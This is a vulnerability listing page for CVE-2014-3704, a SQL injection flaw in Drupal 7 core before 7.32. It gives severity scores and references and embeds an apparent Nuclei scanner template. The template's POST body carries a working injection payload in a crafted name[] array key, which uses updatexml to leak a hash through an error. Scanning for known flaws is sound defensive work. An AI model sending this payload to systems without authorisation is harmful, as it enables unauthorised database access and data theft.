7.7 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.975 High
EPSS
Percentile
100.0%
The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing specially crafted keys.
id: CVE-2014-3704
info:
name: Drupal SQL Injection
author: princechaddha
severity: high
description: The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing specially crafted keys.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the Drupal application and its underlying database.
remediation: Upgrade to Drupal core 7.32 or later.
reference:
- https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2014-10-15/sa-core-2014-005-drupal-core-sql
- https://nvd.nist.gov/vuln/detail/CVE-2014-3704
- https://www.drupal.org/SA-CORE-2014-005
- https://www.exploit-db.com/exploits/34984
- https://www.exploit-db.com/exploits/34992
- https://www.exploit-db.com/exploits/34993
- https://www.exploit-db.com/exploits/35150
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
cvss-score: 7.5
cve-id: CVE-2014-3704
cwe-id: CWE-89
epss-score: 0.97537
epss-percentile: 0.99992
cpe: cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: drupal
product: drupal
shodan-query: http.component:"drupal"
tags: cve2014,cve,edb,drupal,sqli
variables:
num: "999999999"
http:
- method: POST
path:
- "{{BaseURL}}/?q=node&destination=node"
body: 'pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5({{num}})),1)%23]=bob&name[0]=a'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "PDOException"
- '{{md5({{num}})}}'
condition: and
- type: status
status:
- 500
# digest: 490a0046304402207af10a42ac3fac82b8537fcd02ef03a3d6d1c789570c336dd960af2488b7656a02200bf8bf6552331293f0e50b7c92c5874a81bc4df67abaae00fa0bd4042a8ea2fe:922c64590222798bb761d5b6d8e72950
nvd.nist.gov/vuln/detail/CVE-2014-3704
www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2014-10-15/sa-core-2014-005-drupal-core-sql
www.drupal.org/SA-CORE-2014-005
www.exploit-db.com/exploits/34984
www.exploit-db.com/exploits/34992
www.exploit-db.com/exploits/34993
www.exploit-db.com/exploits/35150